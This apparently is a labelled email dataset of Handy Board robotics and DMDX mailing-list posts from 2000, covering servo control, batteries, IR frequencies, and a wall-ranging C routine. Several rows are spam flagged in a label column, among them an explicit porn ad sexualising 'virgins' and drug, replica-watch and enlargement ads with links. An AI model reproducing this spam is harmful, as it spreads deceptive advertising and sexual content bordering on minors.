ideas and > > information about your WALKER. > > > > > > > I believe the best thing to do is use separte controlers (e.g. PICs) to > > > control the specific motions of the servo's. This will allow you to have > > > more control over the HB. There are several places on the web (e.g. > > > http://www.brouhaha.com/~eric/pic/ where you can find info on PIC's > > > including having them control servo's. I think the timing constraints on > > > 12 servo's will heavily tax the HB resources. > > > > > > Ronald Wijngaarde > > > > > > > ---------- > > > > From: r.farnhill@bssl.co.uk[SMTP:r.farnhill@bssl.co.uk] > > > > Sent: vrijdag 8 januari 1999 11:30 > > > > To: handyboard@media.mit.edu > > > > Subject: hexipod walker > > > > > > > > Hi all > > > > > > > > Iam thinking about making a six legged walking robot using servos and > > > > wondered if anybody has already built one. > > > > I want to use two servos per leg one for lifting and another for the > > > > sweeping action so giving 12 in total. One thing i want to know is how > > > > do > > > > you control twelve servos? i have seen some serial servo controllers > > > > that > > > > control upto 256, is it possible to control them with just the > > > > handyboard. > > > > also does the HB have enough proccessing power to control all these > > > > servos > > > > and still have enough spare for obstical avoidance etc. > > > > > > > > > > > > > > > > Any thoughts, tips etc. > > > > > > > > Thanks Russ.... > > > > > > > >",0,1 William Bain ,Handy Board mailing list ,"Mon, 07 Feb 2000 11:40:11 -0800",Re: Battery Capacity,"I suppose that maybe your NiCd cells are just nearing the end of their useful life. Either that, or you have a wiring problem somewhere in the power circuit. Also, it's generally not a good idea to mix different types of cells (different capacities) in one battery pack. I power my HB with an 8-AA-cell, 500 mAH Panasonic battery, soldered together by Digikey (I think it's the one listed in the HB Tech Ref) and it has no trouble at all driving a couple Lego motors. My robot is pretty heavy, too, with sonar, a color video camera, and a video transmitter. However, I'm using the Lego gear motors, which may be more efficient than the old style of Lego motor, and I gear them down even more. Have you tried gearing your motors down? Maybe you aren't getting enough torque and that's causing your motors to stall. I really recommend getting the soldered batteries from Digikey. Using a battery holder with single cells never worked very reliably for me. You can get soldered packs made up of 800 mAH cells now, too. Best of luck! -- Will --- glashan wrote: > Hi all, > > Ive been having problems with my bots supply for a while now. > The problem is > that the motors (LEGO 9v ) seem to be drawing too much > current. whenever my > bot changes direction or trys to accellerate from a > standstill, the board > resets. Im using a mixture of 650 and 600 mAh Nicad's and ive > tried charging > them both with the HB charger and a normal charger and > nothing seems to > help. > > Do I need Higher Capacity Nicads or may it be my motors > Any help would be greatly appriciated. > > Thanks > Ross > > > ===== Any sufficiently advanced technology is indistinguishable from magic. -- Arthur C. Clark __________________________________________________ Do You Yahoo!? Talk to your friends online with Yahoo! Messenger. http://im.yahoo.com",0,1 Barry Brouillette ,handyboard@media.mit.edu,"Mon, 07 Feb 2000 20:04:27 +0000",Re: hexipod walker,"Scott Edwards Electronics web site is: http://www.seetron.com/ In lugnet.robotics.handyboard, Chen Yung Hsu writes: >where would i get a SSC? > > > >On Fri, 4 Feb 2000, Adam Oliver wrote: > >> Personally I use a Scott Edwards Serial Servo Controller (model 1, there is >> a new one out now) - SSC. >> On the handyboard web site is a program to control this serial device from >> the handyboard, which means you can just set each leg position and let the >> other board do the work. CUts down on processing time and hassles. I use 2 >> of them daisy-chained together to control 12 servos for my hexapod walker >> check out http://www.wantree.com.au/~oli for more info if u like.. >> >> hope this helps >> Adam >> >> >> >> > COOL! How do you control 8 servos? I have the expansion board and there >> > are only 6 servo connections there. What other port did you use to >> control >> > the other 2 servo? Or do you use the expansion board at all? I am >> looking >> > for a way to add two more servo to my robot, instead of using to motor >> with >> > sensor control. >> > >> > -- >> > >> > Ray >> > >> > Thomas Hauri wrote in message >> > news:3695F792.7460E88E@zhwin.ch... >> > Timing 12 servos with the HB could be done. So far we are using 8 servos >> > which don't use much cpu resources at all. But 1 compare output can only >> > time 8 servos because of the servos timing requierments without using a >> lot >> > of cpu time. So a second compare output must be used for the other 4 >> servos. >> > But using a clever algorithm timing 12 servos could be done. >> > The biggest problem is to get all the contol algorithms to run for 12 >> servos >> > (12 axes) in realtime. >> > It could be done using multiple handyboards. >> > >> > I'm very interested in your project, so please keep posting ideas and >> > information about your WALKER. >> > >> > >> > > I believe the best thing to do is use separte controlers (e.g. PICs) to >> > > control the specific motions of the servo's. This will allow you to have >> > > more control over the HB. There are several places on the web (e.g. >> > > http://www.brouhaha.com/~eric/pic/ where you can find info on PIC's >> > > including having them control servo's. I think the timing constraints on >> > > 12 servo's will heavily tax the HB resources. >> > > >> > > Ronald Wijngaarde >> > > >> > > > ---------- >> > > > From: r.farnhill@bssl.co.uk[SMTP:r.farnhill@bssl.co.uk] >> > > > Sent: vrijdag 8 januari 1999 11:30 >> > > > To: handyboard@media.mit.edu >> > > > Subject: hexipod walker >> > > > >> > > > Hi all >> > > > >> > > > Iam thinking about making a six legged walking robot using servos and >> > > > wondered if anybody has already built one. >> > > > I want to use two servos per leg one for lifting and another for the >> > > > sweeping action so giving 12 in total. One thing i want to know is how >> > > > do >> > > > you control twelve servos? i have seen some serial servo controllers >> > > > that >> > > > control upto 256, is it possible to control them with just the >> > > > handyboard. >> > > > also does the HB have enough proccessing power to control all these >> > > > servos >> > > > and still have enough spare for obstical avoidance etc. >> > > > >> > > > >> > > > >> > > > Any thoughts, tips etc. >> > > > >> > > > Thanks Russ.... >> > > > >> > >> >>",0,1 David Kott ,Brennan ,"Mon, 07 Feb 2000 23:19:45 -0500",[OT] Re: Wav2Asc,"On Mon, 7 Feb 2000, Brennan wrote: > > Im after a program to convert a Wav sound file to Ascii to be able to burn it to eprom. > Can any1 help ? > PE Micro has a program that converts binary into S-records. http://www.pemicro.com/support_center/downloads/utilities/bin2s19_downloads.exe Or, you may want to look into a program called Sox. Sox converts just about any sound format into just about any other. You could, trivially, convert a WAV file into a pulse code modulated, 16 or 8 bit stream, if you didn't want to write support for WAV files. ftp://sunsite.unc.edu/pub/Linux/apps/sound/convert/sox-12.16.tar.gz -d Curiosity may, or may not, have killed Schrodinger's cat. -townba ",0,1 Viola Britton ,handyboard@media.mit.edu,"Mon, 07 Feb 2000 20:40:43 -0400",fine Eighteens sucking oldman cock!," Young grace virgiins at hardcoree Pornoo. http://legalteenporno.info/fpdfporn.htm?iSPhfd.fX,hj U,N,S,U,B,$,C,R,I,BB,E http://legalteenporno.info ",1,1 Dirk Stueker ,handyboard@media.mit.edu,"Tue, 08 Feb 2000 09:42:21 +0000",Re: Battery Capacity,"William Bain wrote: > > I power my HB with an 8-AA-cell, 500 mAH Panasonic battery, > soldered together by Digikey (I think it's the one listed in > the HB Tech Ref) and it has no trouble at all driving a couple > Lego motors. My robot is pretty heavy, too, with sonar, a color > video camera, and a video transmitter. I am using 8-NiMH-AA-cells, 1100 mAh each, without any problems. For German Handyboard users: www.reichelt.de sells either single sells or a soldered pack of batteries. Actually you can even get upto 1700 mAh-cells (no experience with those cells). Instead of using the recommended 500mA DC adapter, I changed to 800mA. > > However, I'm using the Lego gear motors, which may be more > efficient than the old style of Lego motor, and I gear them > down even more. Have you tried gearing your motors down? Maybe > you aren't getting enough torque and that's causing your motors > to stall. Same motors are used by me and I geared them down, too. > > I really recommend getting the soldered batteries from Digikey. > Using a battery holder with single cells never worked very > reliably for me. No problems with single sells. Hope this helps. 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Gleason sells assembled ones only. please reply km ",0,0 Kam Leang ,Kah Mun ,"Tue, 08 Feb 2000 15:26:19 -0700",Re: LCD,"Try Timeline at: http://www.digisys.net/timeline/ -kam On Tue, 8 Feb 2000, Kah Mun wrote: > > Does anyone know where I can my the whole LCD unit for the handyboard? > Gleason sells assembled ones only. > > please reply > > km > ______ ______ ---------------------------------------------- |_ _| |_ _| Kam Leang | |______| |______ University of Utah | |_ _| |_ _| Department of Mechanical Engineering | | | | | | | | MEB Room 2202 Salt Lake City, UT 84112 | |_|__|_| | | | (Tel) 801.581.7105 (Fax) 801.585.9826 \\ ___________/ | | http://www.leang.com/kam | |______| | ----------------------------------------------------- \\ ___________/ ",0,1 F.Froneberg@t-online.de,handyboard@media.mit.edu,"Wed, 09 Feb 2000 07:20:37 +0100","hbtest.c / ""testdigitals();""","Dear Reader, I'm assembling a handyboard-kit form Acroname and I've reached the step of testing Digital Input Circuit. After loading hbtest.c I try to start ""testdigitals();"" and the following happens in the IC-Window: Downloading 24 bytes (adresses C200 - C217): 24 loaded pointer (C203) to there is no more any reaction. Is there any software to test the circumstances of that behavior ? Thanks Folker Froneberg ",0,0 Mark Byrne ,james glazier ,"Wed, 09 Feb 2000 08:42:58 -0500",Re: [Fwd: Reading Assignment],"Here's my 1st minipaper for physics 510 -- gravitational shielding by superconductors. Enjoy. Mark. ",0,0 Gary Livick ,handyboard@media.mit.edu,"Wed, 09 Feb 2000 12:58:07 -0800",Re: some action around here,"Hey, Handy Board people! I don't know if anybody has noticed, but this group is dead, dead, dead! It's time to get things going. Maybe people have some neat projects going on to tell us about. I have a robot I'm working on that you can read about on the Seattle Robotics website. I don't use a Handy Board on it, but I started with one, and could have finished it, but I needed the Handy Board for another project so I used a different one. What I'm doing could be done just as well with a Handy Board. Check out the project at http://www.seattlerobotics.org/encoder/200001/docbot.html. One of the things I needed to do for this new project was to create the missing arcsine function for determining angles to walls. Someone here contributed the series I used, and it wasn't the Taylor series. The Taylor series loses accuracy near 90°, probably because of truncating terms past about 9 or so, but this other function was right on at 89° with the same number of terms in the polynomial expansion. I'll publish the C code for both series as soon as whoever suggested the unnamed series so I can give him credit. There are some pretty clever people on this list, but how come nobody is adding contributed software to the Handy Board site? Come on, you guys. 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Instead I get the same row of boxes and the green light on the board only turns on instead of flashing on and off. I reseted the board anyway so I can run IC but it doesn't work. I know the cmd line is correct because I made the board work once but one day it stoped working. Is there a place I can send the board so it can be fixed or is there a simple solution to my problem? ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 10 Feb 2000 09:22:21 -0700",[DMDX] Re: some problems,"At 12:49 PM 2/10/00 +1100, you wrote: >Hi Jonathan, > >I have some new problems in running DMDX. I could run lexical decisions in >the past, but now I cannot, maybe due to some problems I had lately with >the sound card I have. > >Whenever I open DMDX.exe, or TimeDX.exe, I get the message:""the DMDX.exe >file is linked to missing export DSOUND.dll: DirectSoundCaptureCreate."" > >And then after pressing OK, I get the message: ""a device attached to the >program is not functioning."" > >The sound card I have at the moment is Yamaha DS-XG. Is that the problem? No, the sound card's drivers are the problem. It also sounds like you need to install DirectX again. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ He who knows all the answers never gets asked the questions. ",0,0 Dirk Stueker ,handyboard@media.mit.edu,"Thu, 10 Feb 2000 14:43:13 +0000",Re: IC Problems,"Christian Eloy Rendon wrote: > > ...or is there a simple solution to my problem? Christian, I had similar problems with my handyboard twice. The first time the expansion board was causing the problem, so if you are using the expansion board, try to run dl without it. Fortunately I was in the lucky situation to have two handyboards, so I could get the five ICs out of their sockets to test them on the working expansion board and discover the faulty one (which was worth less than $1!). The second time the behavior was really strange: After replacing all ICs of the working expansion board with the non working expansion board ones and vice versa, BOTH boards worked properly !?! So I would suggest checking all ICs to fit correct into their sockets. Hope this helps. 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And can i use the encoder routines provided by the IC (Handy Board Pcode). Thank you HUAN NGUYEN hdn7595@hotmail.com ",0,0 William Bain ,Handy Board mailing list ,"Thu, 10 Feb 2000 11:36:21 -0800",Re: Shaft encoders interfacing with Handy Board,"I've had great success using Hall-effect magnetic sensors as shaft encoders with the Handy Board. The sensors are the type that Patrick Hui (of the Robot Store HK) includes in his HB sensor kit. I glued small disk magnets into the holes in a pair of Lego pulleys on the robot axle shafts and mounted the Hall-effect sensors about a millimeter away from the sides of the pulleys. This worked ok, but I only got a few encoder counts per rotation of the wheel. To get more clicks, I geared the pulleys up, and now I get about one click per centimeter of travel, which is more than adequate to keep the robot tracking in a straight line. The Hall-effect magnetic sensors plug right into the HB and work just fine with the shaft encoder routines that I downloaded off the HB web site. They give analog readings from about 130 to 150 (or if you flip the magnets over, 150 to 170) so you need to set the encoder thresholds accordingly. Make sure that all the magnets in a pulley have the same polarity before you glue 'em. -- Will --- Huan Nguyen wrote: > Hi everybody > I'm trying to find an encoder to work with my Handy > Board(using a DC > motor). Please help me if you know anything about Shaft > encoder(S1 > optical encoder)interfacing with Handy Board. Can i use the > Shaft > encoder? Do you know how to connect the Shaft encoder with > Handy Board? > Can i use the Shaft encoder? Do you know how to connect the > Shaft > encoder with Handy Board? And can i use the encoder routines > provided > by the IC (Handy Board Pcode). > > Thank you > HUAN NGUYEN > hdn7595@hotmail.com > ===== Any sufficiently advanced technology is indistinguishable from magic. -- Arthur C. Clark __________________________________________________ Do You Yahoo!? Talk to your friends online with Yahoo! Messenger. http://im.yahoo.com",0,1 Gary Livick ,handyboard@media.mit.edu,"Thu, 10 Feb 2000 11:34:55 -0800",Re: IC routine for ranging and angle finding with the GP2D12,"Following up on my challenge to get some things happening here..... Following is an IC routine that can be used to find angular displacement from and distance to a wall. It uses the Sharp GP2D12 IR ranging module mounted on a servo to do the ranging. At the end is a new library routine for finding ARCSINE. I hope from the comments that the application is clear and the methods transparent, but if there are questions, please post them here on the HB list server. Gary Livick /* rangingRH.c General notes: this code can be used to find both the angle from a wall located to the right side of a robot, as long as the angular deviation from parallel to the wall isn't too great, and also the distance from the sensor (located on the robot) to the wall. The limitation is that neither of the two major readings (at 50 degrees and 90 degrees left of the robot longitudinal axis) are >= 41 inches. As the code stands, it will hang if either range is >= 41 degrees. The user can modify the code for readings to the left. This code is used by my robot, DocBot, to update its position while using dead reckoning navigation in a grid-based navigation routine. Some global variables can be made local. I keep them out sometimes for troubleshooting. This routine uses first the law of cosines, then carries the results into the law of sines to the final determination of deviation angle. When using the law of sines, a new function is called that is not available in the HC11 library; arcsine(). This new fuction is included at the end of the program, and can be copied into your own library. The distance to the wall is determined by right angle trigonometry. I have tested this and found it to be quite accurate, although it is very sensitive to wall color or surface finish alterations from white painted drywall. The program runs automatically on reset, with the functions being called by main() from within the printf function. The servo functions are used from the Handy Board site for the unexpanded board, using PA3 and PA5 to drive servos. The .icb files for these routines must be loaded separately. Note that this routine was written for a Super-TCOMP board, which has motor ports similar to a Rug Warrior board. For this reason, PA3 is used for driving one of the servos, as PA5 is used for motor functions on the Super-T. This will prohibit the use of the beeper on a Handy Board, so the HB user may prefer to use the PA5 port servo routine on the Handy Board site in lieu of the PA3 driver located in the ""software contributed"" section of the site. Gary Livick, http://www.teleport.com/~raybutts, glivick@pacbell.net original release 2/9/2000 Please email corrections or improvements, which will be incorporated citing the name of the contributor. */ #define pan servo_a7_pulse /* the panning servo is connected to PA7 */ #define tilt servo_a3_pulse /* if you have a tilt servo, connect to PA3 */ #define range analog(4) /* hook the signal line from a GP2D12 to PE4 */ float deg_to_rad = 57.2957795131; /************************************** theta_deviation is the deviation of the longitudinal axis of the robot from the wall. Note: + is ccw from the wall, meaning the robot is pointed away from the wall by an amount equal to the deviation angle. ***************************************/ int theta_deviation() {int deviation = wall_angle_B() - 90; return deviation;} /************************************* wall_angle_B **************************************/ int B; /* Wall angle B */ int wall_angle_B() {return B=140 - wall_angle_C();} /* was 150 */ /******************************************** wall_distance *********************************************/ int wall_distance() {float B_rad = (float)(B)/deg_to_rad; /* convert angle B to radians */ float wall_offset; /* distance to measured wall */ wall_offset = c * sin(B_rad); return (int)(wall_offset);} /******************************************** wall_angle_C ********************************************/ int C = 0; float arg_x=0.; float a; float b = 0.; float c = 0.; float d = 0.; /* used to determine if C > 90 degrees */ float A=40./deg_to_rad; /* A = included angle between readings */ int wall_angle_C() {int q; int temp_range; int temp_b=0; int temp_c=0; int temp_d=0; /*used to determine if C > 90 degrees*/ pan_deg(-50); /*look right 50 degrees */ for(q=1;q<41;q++) {temp_range=report_range(); temp_b += temp_range; if (temp_range==0) q--; } pan_deg(-60); /*look right 60 degrees, used to find C > 90 degrees */ for(q=1;q<41;q++) {temp_range=report_range(); temp_d += temp_range; if (temp_range==0) q--; } pan_deg(-90); for(q=1;q<41;q++) {temp_range=report_range(); temp_c += temp_range; if (temp_range==0) q--;} pan_deg(0); b=(float)(temp_b)/40.; c=(float)(temp_c)/40.; d=(float)(temp_d)/40.; a=sqrt((b^2.) + (c^2.) - (2.*b*c*cos(A))); arg_x=c*sin(A)/a; /*delete this later, for test only*/ C=(int)(arcsin(c*sin(A)/a)); if (d > b) /* then C is more than 90 degrees */ {C=180-C;} return C;} /******************************************** note: inches = 460.8/(range reading-4.8) ********************************************/ void servo3_on() /* 4750=left,3075=ctr,1400 = right */ {servo_a3_init(1); /*18.61 pulses per degree of servo rotation */ } void servo3_off() {servo_a3_init(0);} void servo7_on() /*tilt, 4000=dn, 3550=ctr, 3000=up is what mine does, adjust for yours */ {servo_a7_init(1); } void servo7_off() {servo_a7_init(0); pokeword(0x1016,0); /*do this to renable motor speed (for Rug Warrior or TCOMP users only) */ } /* the following isn't used, just a demo for panning the servo for fun */ int panning_demo() {int i; pan = 1400; sleep(1.); for (i=1400; i<4751; i++) {pan = i; sleep(.001); }} void pan_deg(int deg) {float pan_temp; servo3_on(); sleep(1.); pan_temp=3075. + ((float)(deg)*18.61); /*adjust these numbers for your servo. The 18.61 is a constant to make the servo move one degree on my servo. 3075 is the center position on my servo. It is critical that they be correctly entered for your servo, or else the results will not be accurate. */ pan=(int)(pan_temp); sleep(1.5); servo3_off();} int report_range() {float distance; sleep(.04); /*the following conversion works with the GP2D12 against WHITE walls */ distance=460.8/((float)(range)-4.8); if (distance>41.|| distance<4.8) /* the reading is probably wrong */ { return 0; } else { return (int)(distance); }} void main() {servo3_on(); servo7_on(); sleep(1.0); pan=3050; /* adjust for your servo */ tilt=3550; /* adjust for your servo */ sleep(2.0); servo3_off(); servo7_off(); while(1) {printf(""dev angle= %d : distance= %d\\n"",theta_deviation(),wall_distance()); sleep (1.0);} } /****************************** * * * returns angles in degrees * * * * note: 0",Bait ,"Thu, 10 Feb 2000 17:22:17 -0400",Order replica //atches 0nline!,"REPLICA //ATCHES BAZAAR! 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I am try to use the IR output. the problem is that the HB is modulating the signal at 41kHz and I need to get it down to 38kHz. I have checked the resistor and capacitor used in generating the frequency. R = 3.81 K C = 0.0068uF f = 1/(3.81k)(.0068uF) = 38.5981kHz at least in theory. When I run the command poke(0x1000, 0x40); as Fred suggests in the test procedures I get about 43kHz at the output of U9-Pin 2(hex inverter) Which is high compared to the suggested output. (39k - 40k)Hz I am really trying to avoid replacing the res. and cap. I was wondering if anybody else had a problem with their IR output. If so could you let me know your experience. I am baffled as to why there is such a difference from theory to actual. I have been through the HB archives and cannot find a thing. So any help at all is welcomed and appreciated. Best regards, Fred Martin (NOT the Fred you might be thinking about!) We are prone to judge success by the index of our salaries or  the size of our automobile rather than by the quality of our  service and relationship to mankind. - Martin Luther King Jr. ",0,0 Donald Day ,FRED MARTIN ,"Fri, 11 Feb 2000 19:55:51 -0800",Re: 41Khz not 38KHz,"The 3.81K resistor is probably more accurate than its rated 1%, but the capacitor may be much less precise, unless you got a tight tolerance metal film one, (as I think the part list specifies). Precision also relies on the thresholds of the Schmitt trigger CMOS gate. These may usually be very tight, but they aren't guaranteed. Easiest cheap thing to do is to increase the R value based on your measurements. The closest 1% value to 41/38 * 3.81K is 4.12K ",0,0 Roger Hamlett ,handyboard@media.mit.edu,"Sat, 12 Feb 2000 11:26:52 +0000",Re: (no subject),"In lugnet.robotics.handyboard, FRED MARTIN writes: >Maybe somebody could help. >I am try to use the IR output. the problem is that the HB is modulating the >signal at 41kHz and I need to get it down to 38kHz. >I have checked the resistor and capacitor used in generating the frequency. > >R =3D 3.81 K >C =3D 0.0068uF >f =3D 1/(3.81k)(.0068uF) =3D 38.5981kHz > >at least in theory.=20 > >When I run the command poke(0x1000, 0x40); as Fred suggests in the test >procedures I get about 43kHz at the output of U9-Pin 2(hex inverter) >Which is high compared to the suggested output. (39k - 40k)Hz >I am really trying to avoid replacing the res. and cap. >I was wondering if anybody else had a problem with their IR output. >If so could you let me know your experience. I am baffled as to why there >is such a difference from theory to actual. >I have been through the HB archives and cannot find a thing. So any help at >all is welcomed and appreciated. The obvious question is how you are measuring your capacitor and resistor values?. Resistors (presumably metal film), are typically +/-1%, but capacitors are unlikely to be 'better' than +/-5%, and may be significantly worse than this (many 'normal' capacitor lines are +/-20%, whiole +/-10% is typical. So any oscillator based on this type of component, could easily cover your 'real' frequency. A frequqncy in the order of 43k, from an oscillator designed to give 38.6k, sounds typical for such a component. This is why filter designs end up using expensive 1% capacitors. If this is for infra red comm's, then I wouldn't worry. The '38k' used is very nominal, with the IR receiver on (say) the Mindstorms typically accepting frequencies from about 26k to over 50k. At the end of the day you are just going to have to change your resistor, or 'accept' that you now understand teh effect of component tolerances... Best Wishes",0,0 """T. Gathright"" ",handyboard@media.mit.edu,"Sun, 13 Feb 2000 07:15:05 -0600",new computer connection,"Greetings All, Have purchased a new computer and cannot communicate with my handy board. I remember some time back in the mail archives that some settings had to be changed if the computer was too fast for IC but cannot find it now. Computer has a AMD Athlon 500Mhz processor. When I go to IC, Board, Settings, Test Now, Board found OK. Also,at the IC prompt there is a delay of about .5 second from when I type before text is displayed on the console. Can anyone help? Thanks in advance Terry Gathright",0,0 """T. Gathright"" ",handyboard@media.mit.edu,"Sun, 13 Feb 2000 09:27:04 -0600",New Computer Connection,"Hello, I had the serial cable connected to the com port that was not working. I went to Control Panel System, device manager Ports[COM&LPT] Communications Port[COM1] Only one com. port is listed here but I have another serial port physically next to com1. Where do I go to enable this port or can I? Anyhow, the connection is working fine now on com1. Problem solved. Sorry to write before exploring further. Bye, Terry Gathright ",0,0 Old El Paso ,handyboard@media.mit.edu,"Sun, 13 Feb 2000 08:38:50 -0500",Looking For a Fun Meal that the Kids Will Love?,<1;68lB7G5NGhP7f;1736195>,1,1 Edward Gardner ,handyboard@media.mit.edu,"Sun, 13 Feb 2000 18:23:05 +0000",Re: New Computer Connection,"The second port needs to be enabled in BIOS and you must have enough free IRQ's to accomodate it. Email me offline if you have questions. In lugnet.robotics.handyboard, ""T. Gathright"" writes: >Hello, >I had the serial cable connected to the com port that was not working. >I went to Control Panel > System, > device manager > Ports[COM&LPT] > Communications Port[COM1] > >Only one com. port is listed here but I have another serial port = >physically next to com1. Where do I go to enable this port or can I? > >Anyhow, the connection is working fine now on com1. Problem solved. = >Sorry to write before exploring further. > Bye, >Terry Gathright > > >-- >MIME ATTACHMENTS DISCARDED: > >1. Content-Type: text/html; > charset=""iso-8859-1"" > Content-Transfer-Encoding: quoted-printable > Content-Length: 2180",0,0 Prsn25@cs.com,handyboard@media.mit.edu,"Sun, 13 Feb 2000 14:11:49 -0500",I have Rug-Warrior Project!,"Dear Fred: I'm a Mechanical Engineering student in University California Irvine. I have project of building handy-board for my digital course.Now I've statred assemling but I have problem for supplying some parts.The parts which I need are 4 self taping screws,LMB model 402 plastic enclosure. I appreciate if you help me to find the on-line recourses for ordering these parts. Sincerely, Sepehr Mahdavian ",0,0 Szilvia Dehart ,handyboard@media.mit.edu,"Sun, 13 Feb 2000 07:55:48 -0700",Re: your VALtiUM,"Hi V L V P X A C I e A r a m I A v L o n b A G i I z a i L R t U a x e I A ra M c n S http://www.klopapisan.com thunder another blackness could be seen whirling forward; but it did not come with the wind, it came from the North, like a vast cloud of birds, so dense that no light could be seen between their wings. Halt! cried Gandalf, who appeared suddenly, and stood alone, with arms uplifted, between the advancing dwarves and the ranks awaiting them. Halt! he called in a voice like thunder, and his staff blazed ",1,1 Patrick Hui ,"Prsn25@cs.com, handyboard@media.mit.edu","Mon, 14 Feb 2000 07:35:11 +0800",Re: I have Rug-Warrior Project!,"You can check with Mouser Electronics (800) 346-6873 with the following link to order: http://www.mouser.com/products/detail.cfm?MPart=537-402-RD&CustRef=&source=s The Mouser Stock Number for the plastic enclosure is 537-402. It has many different colors. Best Regards, Patrick Robot Store (HK) http://www.robotstorehk.com -----Original Message----- From: Prsn25@cs.com To: handyboard@media.mit.edu Date: Monday, February 14, 2000 3:38 AM Subject: I have Rug-Warrior Project! >Dear Fred: >I'm a Mechanical Engineering student in University California Irvine. I have >project of building handy-board for my digital course.Now I've statred >assemling but I have problem for supplying some parts.The parts which I need >are 4 self taping screws,LMB model 402 plastic enclosure. I appreciate if you >help me to find the on-line recourses for ordering these parts. > Sincerely, > Sepehr Mahdavian >",0,1 Eric Davis ,handyboard@media.mit.edu,"Sun, 13 Feb 2000 03:03:31 +0000",Radio control w/ handyboard,"Hello all, I expect my handyboard to arrive in the mail within a few days... so I am playing around with some ideas of what I want to accomplish with it. my question: has anybody integrated a radio controlled car remote (wireless) with a handyboard based robot? Is there any FAQ's on this subject? I would really like to know the basics of such a device and how I can control the outputs, and /or construct my own. This all came about after visiting my local Radio shack and seeing the neutral position 12-way switch.. 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Thanks - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Tue, 15 Feb 2000 16:30:36 +0000",[DMDX] Dual Monitors and TimeDX,"Hi. We have come across problems when trying to set up DMDX on laptops that assume dual monitors. TimeDX fails if it is assuming the wrong monitor so making it impossible to actually change the monitor in TimeDX. At least that is how it seems to me. - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 15 Feb 2000 09:52:50 -0700",[DMDX] Re: Time out feedback,"At 04:24 PM 2/15/00 +0000, you wrote: >Hi. Is it possible to set the time out feedback in the same way it is for >the correct and the incorrect responses? I don't see a switch for doing this. No, you can only set it's duration, something like or . -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""On two occasions I have been asked [by members of Parliament!], 'Pray, Mr. Babbage, if you put into the machine wrong figures, will the right answers come out?' I am not able rightly to apprehend the kind of confusion of ideas that could provoke such a question."" - Charles Babbage",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 15 Feb 2000 09:55:52 -0700",[DMDX] Re: Dual Monitors and TimeDX,"At 04:30 PM 2/15/00 +0000, you wrote: >Hi. We have come across problems when trying to set up DMDX on laptops >that assume dual monitors. TimeDX fails if it is assuming the wrong monitor >so making it impossible to actually change the monitor in TimeDX. At least >that is how it seems to me. Don't allow windows to use the second monitor for the desktop. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""On two occasions I have been asked [by members of Parliament!], 'Pray, Mr. Babbage, if you put into the machine wrong figures, will the right answers come out?' I am not able rightly to apprehend the kind of confusion of ideas that could provoke such a question."" - Charles Babbage ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 15 Feb 2000 09:56:03 -0700",[DMDX] Re: Running RT,"At 04:26 PM 2/15/00 +0000, you wrote: >Would it be possible in some future version of DMDX to have a running mean >RT in the same way as there is a running mean error rate. Not unless (a) someone here wants it or (b) you wish to re-imburse me for putting it in. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""On two occasions I have been asked [by members of Parliament!], 'Pray, Mr. Babbage, if you put into the machine wrong figures, will the right answers come out?' I am not able rightly to apprehend the kind of confusion of ideas that could provoke such a question."" - Charles Babbage ",0,0 Wilbert Christiansen ,handyboard@media.mit.edu,"Tue, 15 Feb 2000 13:07:25 -0500","beware, fatigue can kill you","! renunciate or rangy it's byroad a pyrex be inhibitory ",1,0 kwbklrykp ,DMDX@psy1.psych.arizona.edu,,Over 98percent of men would increase penis size if they knew how. Penis Enlarge Patch knows �how�.,Do y0u w@nt to experience rock-hard erect1ons? Try Penis Enlarge Patch. http://www.luserim.net/pt/?51&uKWllI,1,1 Wayne Rademacher ,handyboard@media.mit.edu,"Tue, 15 Feb 2000 22:21:46 -0600",Lcd displays for the Handyboard.,"Folks, Now and then I see people searching for LCD displays for the HandyBoards. I just came across some at a local surplus store. I purchased extras, and I'm will part with a few. These are new Vikay 2x16 lcd's, in a sealed bag. How about $5.50ea (I paid $4.95+tax) and buck for shipping. Drop me an email if your interested. ridgetec@net-info.com please note... I'll be on vacation all of next week so don't be alarmed if I don't respond right away. Wayne ",0,0 Iain Morrison ,DMDX@psy1.psych.arizona.edu,"Wed, 16 Feb 2000 10:07:26 +0000",[DMDX] Re: Dual Monitors and TimeDX,">At 04:30 PM 2/15/00 +0000, you wrote: > >Hi. We have come across problems when trying to set up DMDX on laptops > >that assume dual monitors. TimeDX fails if it is assuming the wrong monitor > >so making it impossible to actually change the monitor in TimeDX. At least > >that is how it seems to me. > > > Don't allow windows to use the second monitor for the desktop. Hi jonathon, the problem we came across was that on running timedx for the first time you get a choice of video drivers, the selected item being 2 which is the external [but not activated] monitor. Subsequently running timedx produced an error. Fixing an external monitor and activating this allowed the video driver to be reset but in the field an experimenter may not have this luxury. Our problem was due to user error [mine while setting up the machine] but it would be nice if there was an escape route! thanks iain >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > >""On two occasions I 